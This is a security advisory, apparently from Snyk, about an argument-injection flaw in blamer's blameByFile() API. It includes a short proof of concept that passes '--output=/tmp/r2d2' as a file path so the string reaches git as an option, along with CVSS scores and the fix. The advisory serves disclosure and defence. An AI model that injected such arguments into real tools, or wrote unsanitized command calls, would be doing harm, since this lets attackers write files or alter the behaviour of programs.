Arbitrary Argument Injection Affecting blamer package, versions <1.0.4


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.07% (31st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-BLAMER-5731318
  • published 18 Sep 2023
  • disclosed 22 Jun 2023
  • credit Liran Tal

How to fix?

Upgrade blamer to version 1.0.4 or higher.

Overview

blamer is a tool for get information about author of code from version control system. Supports git and subversion.

Affected versions of this package are vulnerable to Arbitrary Argument Injection via the blameByFile() API. The library does not sanitize for user input or validate the given file path conforms to a specific schema, nor does it properly pass command-line flags to the git binary using the double-dash POSIX characters (--) to communicate the end of options.

PoC

import Blamer from "blamer";
const blamer = new Blamer.default("git");

async function main() {
  const file = "--output=/tmp/r2d2";
  const result = await blamer.blameByFile(file);
  console.log("Blame json: %j", result);
}

main();

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
6.5 medium
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    None
  • Integrity (I)
    Low
  • Availability (A)
    Low
Expand this section

NVD

9.1 critical